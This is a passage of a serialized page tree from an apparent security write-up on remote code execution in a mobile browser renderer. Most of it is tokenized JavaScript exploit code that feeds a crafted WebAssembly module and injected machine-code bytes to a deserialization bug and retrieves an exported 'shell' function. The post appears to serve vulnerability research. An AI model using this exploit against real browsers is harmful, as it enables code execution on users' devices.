:23,"tag":134,"props":136234,"children":136235},{"style":179},[136236],{"type":28,"value":242},{"type":23,"tag":134,"props":136238,"children":136239},{"style":205},[136240],{"type":28,"value":291},{"type":23,"tag":134,"props":136242,"children":136243},{"style":179},[136244],{"type":28,"value":242},{"type":23,"tag":134,"props":136246,"children":136247},{"style":205},[136248],{"type":28,"value":1214},{"type":23,"tag":134,"props":136250,"children":136251},{"style":179},[136252],{"type":28,"value":242},{"type":23,"tag":134,"props":136254,"children":136255},{"style":205},[136256],{"type":28,"value":1224},{"type":23,"tag":134,"props":136258,"children":136259},{"style":179},[136260],{"type":28,"value":242},{"type":23,"tag":134,"props":136262,"children":136263},{"style":205},[136264],{"type":28,"value":54177},{"type":23,"tag":134,"props":136266,"children":136267},{"style":179},[136268],{"type":28,"value":242},{"type":23,"tag":134,"props":136270,"children":136271},{"style":205},[136272],{"type":28,"value":55392},{"type":23,"tag":134,"props":136274,"children":136275},{"style":179},[136276],{"type":28,"value":242},{"type":23,"tag":134,"props":136278,"children":136279},{"style":205},[136280],{"type":28,"value":1214},{"type":23,"tag":134,"props":136282,"children":136283},{"style":179},[136284],{"type":28,"value":242},{"type":23,"tag":134,"props":136286,"children":136287},{"style":205},[136288],{"type":28,"value":17582},{"type":23,"tag":134,"props":136290,"children":136291},{"style":179},[136292],{"type":28,"value":242},{"type":23,"tag":134,"props":136294,"children":136295},{"style":205},[136296],{"type":28,"value":133010},{"type":23,"tag":134,"props":136298,"children":136299},{"style":179},[136300],{"type":28,"value":242},{"type":23,"tag":134,"props":136302,"children":136303},{"style":205},[136304],{"type":28,"value":133181},{"type":23,"tag":134,"props":136306,"children":136307},{"style":179},[136308],{"type":28,"value":242},{"type":23,"tag":134,"props":136310,"children":136311},{"style":205},[136312],{"type":28,"value":133190},{"type":23,"tag":134,"props":136314,"children":136315},{"style":179},[136316],{"type":28,"value":242},{"type":23,"tag":134,"props":136318,"children":136319},{"style":205},[136320],{"type":28,"value":133199},{"type":23,"tag":134,"props":136322,"children":136323},{"style":179},[136324],{"type":28,"value":242},{"type":23,"tag":134,"props":136326,"children":136327},{"style":205},[136328],{"type":28,"value":133199},{"type":23,"tag":134,"props":136330,"children":136331},{"style":179},[136332],{"type":28,"value":687},{"type":23,"tag":134,"props":136334,"children":136335},{"class":136,"line":221},[136336,136340,136344,136348,136352,136356,136360,136364,136368,136372,136376,136380,136384,136388,136392,136396],{"type":23,"tag":134,"props":136337,"children":136338},{"style":205},[136339],{"type":28,"value":133709},{"type":23,"tag":134,"props":136341,"children":136342},{"style":179},[136343],{"type":28,"value":242},{"type":23,"tag":134,"props":136345,"children":136346},{"style":205},[136347],{"type":28,"value":1224},{"type":23,"tag":134,"props":136349,"children":136350},{"style":179},[136351],{"type":28,"value":242},{"type":23,"tag":134,"props":136353,"children":136354},{"style":205},[136355],{"type":28,"value":88765},{"type":23,"tag":134,"props":136357,"children":136358},{"style":179},[136359],{"type":28,"value":242},{"type":23,"tag":134,"props":136361,"children":136362},{"style":205},[136363],{"type":28,"value":17001},{"type":23,"tag":134,"props":136365,"children":136366},{"style":179},[136367],{"type":28,"value":242},{"type":23,"tag":134,"props":136369,"children":136370},{"style":205},[136371],{"type":28,"value":1214},{"type":23,"tag":134,"props":136373,"children":136374},{"style":179},[136375],{"type":28,"value":242},{"type":23,"tag":134,"props":136377,"children":136378},{"style":205},[136379],{"type":28,"value":291},{"type":23,"tag":134,"props":136381,"children":136382},{"style":179},[136383],{"type":28,"value":242},{"type":23,"tag":134,"props":136385,"children":136386},{"style":205},[136387],{"type":28,"value":1224},{"type":23,"tag":134,"props":136389,"children":136390},{"style":179},[136391],{"type":28,"value":242},{"type":23,"tag":134,"props":136393,"children":136394},{"style":205},[136395],{"type":28,"value":133275},{"type":23,"tag":134,"props":136397,"children":136398},{"style":179},[136399],{"type":28,"value":687},{"type":23,"tag":134,"props":136401,"children":136402},{"class":136,"line":332},[136403],{"type":23,"tag":134,"props":136404,"children":136405},{"style":179},[136406],{"type":28,"value":133996},{"type":23,"tag":134,"props":136408,"children":136409},{"class":136,"line":438},[136410,136414,136418,136422,136426,136430,136434,136438,136442,136446],{"type":23,"tag":134,"props":136411,"children":136412},{"style":151},[136413],{"type":28,"value":136093},{"type":23,"tag":134,"props":136415,"children":136416},{"style":162},[136417],{"type":28,"value":71134},{"type":23,"tag":134,"props":136419,"children":136420},{"style":168},[136421],{"type":28,"value":171},{"type":23,"tag":134,"props":136423,"children":136424},{"style":151},[136425],{"type":28,"value":31428},{"type":23,"tag":134,"props":136427,"children":136428},{"style":162},[136429],{"type":28,"value":133310},{"type":23,"tag":134,"props":136431,"children":136432},{"style":179},[136433],{"type":28,"value":720},{"type":23,"tag":134,"props":136435,"children":136436},{"style":264},[136437],{"type":28,"value":85431},{"type":23,"tag":134,"props":136439,"children":136440},{"style":179},[136441],{"type":28,"value":272},{"type":23,"tag":134,"props":136443,"children":136444},{"style":162},[136445],{"type":28,"value":133327},{"type":23,"tag":134,"props":136447,"children":136448},{"style":179},[136449],{"type":28,"value":1021},{"type":23,"tag":134,"props":136451,"children":136452},{"class":136,"line":466},[136453,136457,136461,136465,136469,136473,136477,136481,136485,136489],{"type":23,"tag":134,"props":136454,"children":136455},{"style":151},[136456],{"type":28,"value":136093},{"type":23,"tag":134,"props":136458,"children":136459},{"style":162},[136460],{"type":28,"value":133343},{"type":23,"tag":134,"props":136462,"children":136463},{"style":168},[136464],{"type":28,"value":171},{"type":23,"tag":134,"props":136466,"children":136467},{"style":151},[136468],{"type":28,"value":31428},{"type":23,"tag":134,"props":136470,"children":136471},{"style":162},[136472],{"type":28,"value":133310},{"type":23,"tag":134,"props":136474,"children":136475},{"style":179},[136476],{"type":28,"value":720},{"type":23,"tag":134,"props":136478,"children":136479},{"style":264},[136480],{"type":28,"value":133364},{"type":23,"tag":134,"props":136482,"children":136483},{"style":179},[136484],{"type":28,"value":272},{"type":23,"tag":134,"props":136486,"children":136487},{"style":162},[136488],{"type":28,"value":133373},{"type":23,"tag":134,"props":136490,"children":136491},{"style":179},[136492],{"type":28,"value":1021},{"type":23,"tag":134,"props":136494,"children":136495},{"class":136,"line":479},[136496,136500,136504,136508,136512,136516,136520,136524,136528],{"type":23,"tag":134,"props":136497,"children":136498},{"style":151},[136499],{"type":28,"value":136093},{"type":23,"tag":134,"props":136501,"children":136502},{"style":162},[136503],{"type":28,"value":79521},{"type":23,"tag":134,"props":136505,"children":136506},{"style":168},[136507],{"type":28,"value":171},{"type":23,"tag":134,"props":136509,"children":136510},{"style":162},[136511],{"type":28,"value":133343},{"type":23,"tag":134,"props":136513,"children":136514},{"style":179},[136515],{"type":28,"value":720},{"type":23,"tag":134,"props":136517,"children":136518},{"style":162},[136519],{"type":28,"value":37384},{"type":23,"tag":134,"props":136521,"children":136522},{"style":179},[136523],{"type":28,"value":720},{"type":23,"tag":134,"props":136525,"children":136526},{"style":162},[136527],{"type":28,"value":133413},{"type":23,"tag":134,"props":136529,"children":136530},{"style":179},[136531],{"type":28,"value":182},{"type":23,"tag":134,"props":136533,"children":136534},{"class":136,"line":497},[136535],{"type":23,"tag":134,"props":136536,"children":136537},{"emptyLinePlaceholder":15},[136538],{"type":28,"value":865},{"type":23,"tag":134,"props":136540,"children":136541},{"class":136,"line":518},[136542],{"type":23,"tag":134,"props":136543,"children":136544},{"style":141},[136545],{"type":28,"value":136546},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":134,"props":136548,"children":136549},{"class":136,"line":527},[136550,136555,136559,136563,136567,136571,136575,136579,136583,136587,136591,136595,136599,136603],{"type":23,"tag":134,"props":136551,"children":136552},{"style":189},[136553],{"type":28,"value":136554},"  for",{"type":23,"tag":134,"props":136556,"children":136557},{"style":179},[136558],{"type":28,"value":232},{"type":23,"tag":134,"props":136560,"children":136561},{"style":151},[136562],{"type":28,"value":11254},{"type":23,"tag":134,"props":136564,"children":136565},{"style":162},[136566],{"type":28,"value":576},{"type":23,"tag":134,"props":136568,"children":136569},{"style":168},[136570],{"type":28,"value":171},{"type":23,"tag":134,"props":136572,"children":136573},{"style":205},[136574],{"type":28,"value":208},{"type":23,"tag":134,"props":136576,"children":136577},{"style":179},[136578],{"type":28,"value":16699},{"type":23,"tag":134,"props":136580,"children":136581},{"style":162},[136582],{"type":28,"value":929},{"type":23,"tag":134,"props":136584,"children":136585},{"style":168},[136586],{"type":28,"value":8179},{"type":23,"tag":134,"props":136588,"children":136589},{"style":205},[136590],{"type":28,"value":136015},{"type":23,"tag":134,"props":136592,"children":136593},{"style":179},[136594],{"type":28,"value":16699},{"type":23,"tag":134,"props":136596,"children":136597},{"style":162},[136598],{"type":28,"value":929},{"type":23,"tag":134,"props":136600,"children":136601},{"style":168},[136602],{"type":28,"value":50775},{"type":23,"tag":134,"props":136604,"children":136605},{"style":179},[136606],{"type":28,"value":14272},{"type":23,"tag":134,"props":136608,"children":136609},{"class":136,"line":780},[136610,136615],{"type":23,"tag":134,"props":136611,"children":136612},{"style":264},[136613],{"type":28,"value":136614},"    func",{"type":23,"tag":134,"props":136616,"children":136617},{"style":179},[136618],{"type":28,"value":856},{"type":23,"tag":134,"props":136620,"children":136621},{"class":136,"line":797},[136622],{"type":23,"tag":134,"props":136623,"children":136624},{"style":179},[136625],{"type":28,"value":5328},{"type":23,"tag":134,"props":136627,"children":136628},{"class":136,"line":814},[136629],{"type":23,"tag":134,"props":136630,"children":136631},{"emptyLinePlaceholder":15},[136632],{"type":28,"value":865},{"type":23,"tag":134,"props":136634,"children":136635},{"class":136,"line":827},[136636,136640,136644,136648,136652,136656,136660],{"type":23,"tag":134,"props":136637,"children":136638},{"style":151},[136639],{"type":28,"value":7314},{"type":23,"tag":134,"props":136641,"children":136642},{"style":162},[136643],{"type":28,"value":135449},{"type":23,"tag":134,"props":136645,"children":136646},{"style":168},[136647],{"type":28,"value":171},{"type":23,"tag":134,"props":136649,"children":136650},{"style":264},[136651],{"type":28,"value":135458},{"type":23,"tag":134,"props":136653,"children":136654},{"style":179},[136655],{"type":28,"value":272},{"type":23,"tag":134,"props":136657,"children":136658},{"style":162},[136659],{"type":28,"value":133373},{"type":23,"tag":134,"props":136661,"children":136662},{"style":179},[136663],{"type":28,"value":1021},{"type":23,"tag":134,"props":136665,"children":136666},{"class":136,"line":836},[136667,136671,136675,136679,136683,136687,136691,136695,136699,136703],{"type":23,"tag":134,"props":136668,"children":136669},{"style":162},[136670],{"type":28,"value":135494},{"type":23,"tag":134,"props":136672,"children":136673},{"style":168},[136674],{"type":28,"value":171},{"type":23,"tag":134,"props":136676,"children":136677},{"style":179},[136678],{"type":28,"value":232},{"type":23,"tag":134,"props":136680,"children":136681},{"style":189},[136682],{"type":28,"value":32412},{"type":23,"tag":134,"props":136684,"children":136685},{"style":162},[136686],{"type":28,"value":135449},{"type":23,"tag":134,"props":136688,"children":136689},{"style":179},[136690],{"type":28,"value":720},{"type":23,"tag":134,"props":136692,"children":136693},{"style":264},[136694],{"type":28,"value":57072},{"type":23,"tag":134,"props":136696,"children":136697},{"style":179},[136698],{"type":28,"value":135523},{"type":23,"tag":134,"props":136700,"children":136701},{"style":162},[136702],{"type":28,"value":38650},{"type":23,"tag":134,"props":136704,"children":136705},{"style":179},[136706],{"type":28,"value":182},{"type":23,"tag":134,"props":136708,"children":136709},{"class":136,"line":859},[136710,136714,136718,136722,136726,136730],{"type":23,"tag":134,"props":136711,"children":136712},{"style":162},[136713],{"type":28,"value":101456},{"type":23,"tag":134,"props":136715,"children":136716},{"style":179},[136717],{"type":28,"value":720},{"type":23,"tag":134,"props":136719,"children":136720},{"style":264},[136721],{"type":28,"value":101465},{"type":23,"tag":134,"props":136723,"children":136724},{"style":179},[136725],{"type":28,"value":272},{"type":23,"tag":134,"props":136727,"children":136728},{"style":162},[136729],{"type":28,"value":8544},{"type":23,"tag":134,"props":136731,"children":136732},{"style":179},[136733],{"type":28,"value":1021},{"type":23,"tag":134,"props":136735,"children":136736},{"class":136,"line":868},[136737],{"type":23,"tag":134,"props":136738,"children":136739},{"emptyLinePlaceholder":15},[136740],{"type":28,"value":865},{"type":23,"tag":134,"props":136742,"children":136743},{"class":136,"line":877},[136744,136748,136753,136757,136761,136765,136769,136773],{"type":23,"tag":134,"props":136745,"children":136746},{"style":151},[136747],{"type":28,"value":7314},{"type":23,"tag":134,"props":136749,"children":136750},{"style":162},[136751],{"type":28,"value":136752}," result_bytes",{"type":23,"tag":134,"props":136754,"children":136755},{"style":168},[136756],{"type":28,"value":171},{"type":23,"tag":134,"props":136758,"children":136759},{"style":151},[136760],{"type":28,"value":31428},{"type":23,"tag":134,"props":136762,"children":136763},{"style":264},[136764],{"type":28,"value":132979},{"type":23,"tag":134,"props":136766,"children":136767},{"style":179},[136768],{"type":28,"value":272},{"type":23,"tag":134,"props":136770,"children":136771},{"style":162},[136772],{"type":28,"value":8544},{"type":23,"tag":134,"props":136774,"children":136775},{"style":179},[136776],{"type":28,"value":1021},{"type":23,"tag":134,"props":136778,"children":136779},{"class":136,"line":946},[136780,136784,136788,136792,136796,136800,136804,136808,136812,136816,136820,136824,136828,136832,136836],{"type":23,"tag":134,"props":136781,"children":136782},{"style":162},[136783],{"type":28,"value":101456},{"type":23,"tag":134,"props":136785,"children":136786},{"style":179},[136787],{"type":28,"value":720},{"type":23,"tag":134,"props":136789,"children":136790},{"style":264},[136791],{"type":28,"value":101465},{"type":23,"tag":134,"props":136793,"children":136794},{"style":179},[136795],{"type":28,"value":272},{"type":23,"tag":134,"props":136797,"children":136798},{"style":1461},[136799],{"type":28,"value":133546},{"type":23,"tag":134,"props":136801,"children":136802},{"style":168},[136803],{"type":28,"value":8365},{"type":23,"tag":134,"props":136805,"children":136806},{"style":162},[136807],{"type":28,"value":136752},{"type":23,"tag":134,"props":136809,"children":136810},{"style":179},[136811],{"type":28,"value":720},{"type":23,"tag":134,"props":136813,"children":136814},{"style":264},[136815],{"type":28,"value":133563},{"type":23,"tag":134,"props":136817,"children":136818},{"style":179},[136819],{"type":28,"value":272},{"type":23,"tag":134,"props":136821,"children":136822},{"style":1461},[136823],{"type":28,"value":133572},{"type":23,"tag":134,"props":136825,"children":136826},{"style":179},[136827],{"type":28,"value":252},{"type":23,"tag":134,"props":136829,"children":136830},{"style":168},[136831],{"type":28,"value":1586},{"type":23,"tag":134,"props":136833,"children":136834},{"style":1461},[136835],{"type":28,"value":133585},{"type":23,"tag":134,"props":136837,"children":136838},{"style":179},[136839],{"type":28,"value":1021},{"type":23,"tag":134,"props":136841,"children":136842},{"class":136,"line":954},[136843],{"type":23,"tag":134,"props":136844,"children":136845},{"style":179},[136846],{"type":28,"value":101497},{"type":23,"tag":24,"props":136848,"children":136849},{},[136850],{"type":28,"value":136851},"We get the serialized bytes:",{"type":23,"tag":24,"props":136853,"children":136854},{},[136855],{"type":23,"tag":1116,"props":136856,"children":136859},{"alt":136857,"src":136858},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":136861,"children":136862},{},[136863,136865,136870],{"type":28,"value":136864},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":92,"props":136866,"children":136868},{"className":136867},[],[136869],{"type":28,"value":132442},{"type":28,"value":1697},{"type":23,"tag":87,"props":136872,"children":136874},{"code":136873,"language":35113,"meta":7,"className":35111,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[136875],{"type":23,"tag":92,"props":136876,"children":136877},{"__ignoreMap":7},[136878,136901,136928,137147,137214,137221,137248,137459,137710,137961,138185,138367,138588,138666,138673,138720,138763,138799,138842,138881,138908],{"type":23,"tag":134,"props":136879,"children":136880},{"class":136,"line":137},[136881,136885,136889,136893,136897],{"type":23,"tag":134,"props":136882,"children":136883},{"style":179},[136884],{"type":28,"value":272},{"type":23,"tag":134,"props":136886,"children":136887},{"style":151},[136888],{"type":28,"value":35643},{"type":23,"tag":134,"props":136890,"children":136891},{"style":179},[136892],{"type":28,"value":39195},{"type":23,"tag":134,"props":136894,"children":136895},{"style":151},[136896],{"type":28,"value":14290},{"type":23,"tag":134,"props":136898,"children":136899},{"style":179},[136900],{"type":28,"value":463},{"type":23,"tag":134,"props":136902,"children":136903},{"class":136,"line":147},[136904,136908,136912,136916,136920,136924],{"type":23,"tag":134,"props":136905,"children":136906},{"style":151},[136907],{"type":28,"value":35686},{"type":23,"tag":134,"props":136909,"children":136910},{"style":162},[136911],{"type":28,"value":132966},{"type":23,"tag":134,"props":136913,"children":136914},{"style":168},[136915],{"type":28,"value":171},{"type":23,"tag":134,"props":136917,"children":136918},{"style":151},[136919],{"type":28,"value":31428},{"type":23,"tag":134,"props":136921,"children":136922},{"style":264},[136923],{"type":28,"value":132979},{"type":23,"tag":134,"props":136925,"children":136926},{"style":179},[136927],{"type":28,"value":132984},{"type":23,"tag":134,"props":136929,"children":136930},{"class":136,"line":185},[136931,136935,136939,136943,136947,136951,136955,136959,136963,136967,136971,136975,136979,136983,136987,136991,136995,136999,137003,137007,137011,137015,137019,137023,137027,137031,137035,137039,137043,137047,137051,137055,137059,137063,137067,137071,137075,137079,137083,137087,137091,137095,137099,137103,137107,137111,137115,137119,137123,137127,137131,137135,137139,137143],{"type":23,"tag":134,"props":136932,"children":136933},{"style":205},[136934],{"type":28,"value":133709},{"type":23,"tag":134,"props":136936,"children":136937},{"style":179},[136938],{"type":28,"value":242},{"type":23,"tag":134,"props":136940,"children":136941},{"style":205},[136942],{"type":28,"value":133001},{"type":23,"tag":134,"props":136944,"children":136945},{"style":179},[136946],{"type":28,"value":242},{"type":23,"tag":134,"props":136948,"children":136949},{"style":205},[136950],{"type":28,"value":133010},{"type":23,"tag":134,"props":136952,"children":136953},{"style":179},[136954],{"type":28,"value":242},{"type":23,"tag":134,"props":136956,"children":136957},{"style":205},[136958],{"type":28,"value":133019},{"type":23,"tag":134,"props":136960,"children":136961},{"style":179},[136962],{"type":28,"value":242},{"type":23,"tag":134,"props":136964,"children":136965},{"style":205},[136966],{"type":28,"value":1214},{"type":23,"tag":134,"props":136968,"children":136969},{"style":179},[136970],{"type":28,"value":242},{"type":23,"tag":134,"props":136972,"children":136973},{"style":205},[136974],{"type":28,"value":1224},{"type":23,"tag":134,"props":136976,"children":136977},{"style":179},[136978],{"type":28,"value":242},{"type":23,"tag":134,"props":136980,"children":136981},{"style":205},[136982],{"type":28,"value":1224},{"type":23,"tag":134,"props":136984,"children":136985},{"style":179},[136986],{"type":28,"value":242},{"type":23,"tag":134,"props":136988,"children":136989},{"style":205},[136990],{"type":28,"value":1224},{"type":23,"tag":134,"props":136992,"children":136993},{"style":179},[136994],{"type":28,"value":242},{"type":23,"tag":134,"props":136996,"children":136997},{"style":205},[136998],{"type":28,"value":1214},{"type":23,"tag":134,"props":137000,"children":137001},{"style":179},[137002],{"type":28,"value":242},{"type":23,"tag":134,"props":137004,"children":137005},{"style":205},[137006],{"type":28,"value":17001},{"type":23,"tag":134,"props":137008,"children":137009},{"style":179},[137010],{"type":28,"value":242},{"type":23,"tag":134,"props":137012,"children":137013},{"style":205},[137014],{"type":28,"value":1214},{"type":23,"tag":134,"props":137016,"children":137017},{"style":179},[137018],{"type":28,"value":242},{"type":23,"tag":134,"props":137020,"children":137021},{"style":205},[137022],{"type":28,"value":133084},{"type":23,"tag":134,"props":137024,"children":137025},{"style":179},[137026],{"type":28,"value":242},{"type":23,"tag":134,"props":137028,"children":137029},{"style":205},[137030],{"type":28,"value":1224},{"type":23,"tag":134,"props":137032,"children":137033},{"style":179},[137034],{"type":28,"value":242},{"type":23,"tag":134,"props":137036,"children":137037},{"style":205},[137038],{"type":28,"value":1224},{"type":23,"tag":134,"props":137040,"children":137041},{"style":179},[137042],{"type":28,"value":242},{"type":23,"tag":134,"props":137044,"children":137045},{"style":205},[137046],{"type":28,"value":16768},{"type":23,"tag":134,"props":137048,"children":137049},{"style":179},[137050],{"type":28,"value":242},{"type":23,"tag":134,"props":137052,"children":137053},{"style":205},[137054],{"type":28,"value":291},{"type":23,"tag":134,"props":137056,"children":137057},{"style":179},[137058],{"type":28,"value":242},{"type":23,"tag":134,"props":137060,"children":137061},{"style":205},[137062],{"type":28,"value":1214},{"type":23,"tag":134,"props":137064,"children":137065},{"style":179},[137066],{"type":28,"value":242},{"type":23,"tag":134,"props":137068,"children":137069},{"style":205},[137070],{"type":28,"value":1224},{"type":23,"tag":134,"props":137072,"children":137073},{"style":179},[137074],{"type":28,"value":242},{"type":23,"tag":134,"props":137076,"children":137077},{"style":205},[137078],{"type":28,"value":54177},{"type":23,"tag":134,"props":137080,"children":137081},{"style":179},[137082],{"type":28,"value":242},{"type":23,"tag":134,"props":137084,"children":137085},{"style":205},[137086],{"type":28,"value":55392},{"type":23,"tag":134,"props":137088,"children":137089},{"style":179},[137090],{"type":28,"value":242},{"type":23,"tag":134,"props":137092,"children":137093},{"style":205},[137094],{"type":28,"value":1214},{"type":23,"tag":134,"props":137096,"children":137097},{"style":179},[137098],{"type":28,"value":242},{"type":23,"tag":134,"props":137100,"children":137101},{"style":205},[137102],{"type":28,"value":17582},{"type":23,"tag":134,"props":137104,"children":137105},{"style":179},[137106],{"type":28,"value":242},{"type":23,"tag":134,"props":137108,"children":137109},{"style":205},[137110],{"type":28,"value":133010},{"type":23,"tag":134,"props":137112,"children":137113},{"style":179},[137114],{"type":28,"value":242},{"type":23,"tag":134,"props":137116,"children":137117},{"style":205},[137118],{"type":28,"value":133181},{"type":23,"tag":134,"props":137120,"children":137121},{"style":179},[137122],{"type":28,"value":242},{"type":23,"tag":134,"props":137124,"children":137125},{"style":205},[137126],{"type":28,"value":133190},{"type":23,"tag":134,"props":137128,"children":137129},{"style":179},[137130],{"type":28,"value":242},{"type":23,"tag":134,"props":137132,"children":137133},{"style":205},[137134],{"type":28,"value":133199},{"type":23,"tag":134,"props":137136,"children":137137},{"style":179},[137138],{"type":28,"value":242},{"type":23,"tag":134,"props":137140,"children":137141},{"style":205},[137142],{"type":28,"value":133199},{"type":23,"tag":134,"props":137144,"children":137145},{"style":179},[137146],{"type":28,"value":687},{"type":23,"tag":134,"props":137148,"children":137149},{"class":136,"line":221},[137150,137154,137158,137162,137166,137170,137174,137178,137182,137186,137190,137194,137198,137202,137206,137210],{"type":23,"tag":134,"props":137151,"children":137152},{"style":205},[137153],{"type":28,"value":133709},{"type":23,"tag":134,"props":137155,"children":137156},{"style":179},[137157],{"type":28,"value":242},{"type":23,"tag":134,"props":137159,"children":137160},{"style":205},[137161],{"type":28,"value":1224},{"type":23,"tag":134,"props":137163,"children":137164},{"style":179},[137165],{"type":28,"value":242},{"type":23,"tag":134,"props":137167,"children":137168},{"style":205},[137169],{"type":28,"value":88765},{"type":23,"tag":134,"props":137171,"children":137172},{"style":179},[137173],{"type":28,"value":242},{"type":23,"tag":134,"props":137175,"children":137176},{"style":205},[137177],{"type":28,"value":17001},{"type":23,"tag":134,"props":137179,"children":137180},{"style":179},[137181],{"type":28,"value":242},{"type":23,"tag":134,"props":137183,"children":137184},{"style":205},[137185],{"type":28,"value":1214},{"type":23,"tag":134,"props":137187,"children":137188},{"style":179},[137189],{"type":28,"value":242},{"type":23,"tag":134,"props":137191,"children":137192},{"style":205},[137193],{"type":28,"value":291},{"type":23,"tag":134,"props":137195,"children":137196},{"style":179},[137197],{"type":28,"value":242},{"type":23,"tag":134,"props":137199,"children":137200},{"style":205},[137201],{"type":28,"value":1224},{"type":23,"tag":134,"props":137203,"children":137204},{"style":179},[137205],{"type":28,"value":242},{"type":23,"tag":134,"props":137207,"children":137208},{"style":205},[137209],{"type":28,"value":133275},{"type":23,"tag":134,"props":137211,"children":137212},{"style":179},[137213],{"type":28,"value":687},{"type":23,"tag":134,"props":137215,"children":137216},{"class":136,"line":332},[137217],{"type":23,"tag":134,"props":137218,"children":137219},{"style":179},[137220],{"type":28,"value":133996},{"type":23,"tag":134,"props":137222,"children":137223},{"class":136,"line":438},[137224,137228,137232,137236,137240,137244],{"type":23,"tag":134,"props":137225,"children":137226},{"style":151},[137227],{"type":28,"value":35686},{"type":23,"tag":134,"props":137229,"children":137230},{"style":162},[137231],{"type":28,"value":124779},{"type":23,"tag":134,"props":137233,"children":137234},{"style":168},[137235],{"type":28,"value":171},{"type":23,"tag":134,"props":137237,"children":137238},{"style":151},[137239],{"type":28,"value":31428},{"type":23,"tag":134,"props":137241,"children":137242},{"style":264},[137243],{"type":28,"value":132979},{"type":23,"tag":134,"props":137245,"children":137246},{"style":179},[137247],{"type":28,"value":132984},{"type":23,"tag":134,"props":137249,"children":137250},{"class":136,"line":466},[137251,137256,137260,137264,137268,137272,137276,137280,137284,137289,137293,137298,137302,137307,137311,137316,137320,137324,137328,137332,137336,137340,137344,137348,137352,137357,137361,137366,137370,137375,137379,137383,137387,137391,137395,137399,137403,137407,137411,137415,137419,137423,137427,137431,137435,137439,137443,137447,137451,137455],{"type":23,"tag":134,"props":137252,"children":137253},{"style":205},[137254],{"type":28,"value":137255},"    146",{"type":23,"tag":134,"props":137257,"children":137258},{"style":179},[137259],{"type":28,"value":242},{"type":23,"tag":134,"props":137261,"children":137262},{"style":205},[137263],{"type":28,"value":17894},{"type":23,"tag":134,"props":137265,"children":137266},{"style":179},[137267],{"type":28,"value":242},{"type":23,"tag":134,"props":137269,"children":137270},{"style":205},[137271],{"type":28,"value":134048},{"type":23,"tag":134,"props":137273,"children":137274},{"style":179},[137275],{"type":28,"value":242},{"type":23,"tag":134,"props":137277,"children":137278},{"style":205},[137279],{"type":28,"value":134057},{"type":23,"tag":134,"props":137281,"children":137282},{"style":179},[137283],{"type":28,"value":242},{"type":23,"tag":134,"props":137285,"children":137286},{"style":205},[137287],{"type":28,"value":137288},"174",{"type":23,"tag":134,"props":137290,"children":137291},{"style":179},[137292],{"type":28,"value":242},{"type":23,"tag":134,"props":137294,"children":137295},{"style":205},[137296],{"type":28,"value":137297},"122",{"type":23,"tag":134,"props":137299,"children":137300},{"style":179},[137301],{"type":28,"value":242},{"type":23,"tag":134,"props":137303,"children":137304},{"style":205},[137305],{"type":28,"value":137306},"171",{"type":23,"tag":134,"props":137308,"children":137309},{"style":179},[137310],{"type":28,"value":242},{"type":23,"tag":134,"props":137312,"children":137313},{"style":205},[137314],{"type":28,"value":137315},"151",{"type":23,"tag":134,"props":137317,"children":137318},{"style":179},[137319],{"type":28,"value":242},{"type":23,"tag":134,"props":137321,"children":137322},{"style":205},[137323],{"type":28,"value":96179},{"type":23,"tag":134,"props":137325,"children":137326},{"style":179},[137327],{"type":28,"value":242},{"type":23,"tag":134,"props":137329,"children":137330},{"style":205},[137331],{"type":28,"value":1224},{"type":23,"tag":134,"props":137333,"children":137334},{"style":179},[137335],{"type":28,"value":242},{"type":23,"tag":134,"props":137337,"children":137338},{"style":205},[137339],{"type":28,"value":1224},{"type":23,"tag":134,"props":137341,"children":137342},{"style":179},[137343],{"type":28,"value":242},{"type":23,"tag":134,"props":137345,"children":137346},{"style":205},[137347],{"type":28,"value":1224},{"type":23,"tag":134,"props":137349,"children":137350},{"style":179},[137351],{"type":28,"value":242},{"type":23,"tag":134,"props":137353,"children":137354},{"style":205},[137355],{"type":28,"value":137356},"39",{"type":23,"tag":134,"props":137358,"children":137359},{"style":179},[137360],{"type":28,"value":242},{"type":23,"tag":134,"props":137362,"children":137363},{"style":205},[137364],{"type":28,"value":137365},"61",{"type":23,"tag":134,"props":137367,"children":137368},{"style":179},[137369],{"type":28,"value":242},{"type":23,"tag":134,"props":137371,"children":137372},{"style":205},[137373],{"type":28,"value":137374},"60",{"type":23,"tag":134,"props":137376,"children":137377},{"style":179},[137378],{"type":28,"value":242},{"type":23,"tag":134,"props":137380,"children":137381},{"style":205},[137382],{"type":28,"value":96179},{"type":23,"tag":134,"props":137384,"children":137385},{"style":179},[137386],{"type":28,"value":242},{"type":23,"tag":134,"props":137388,"children":137389},{"style":205},[137390],{"type":28,"value":1224},{"type":23,"tag":134,"props":137392,"children":137393},{"style":179},[137394],{"type":28,"value":242},{"type":23,"tag":134,"props":137396,"children":137397},{"style":205},[137398],{"type":28,"value":40346},{"type":23,"tag":134,"props":137400,"children":137401},{"style":179},[137402],{"type":28,"value":242},{"type":23,"tag":134,"props":137404,"children":137405},{"style"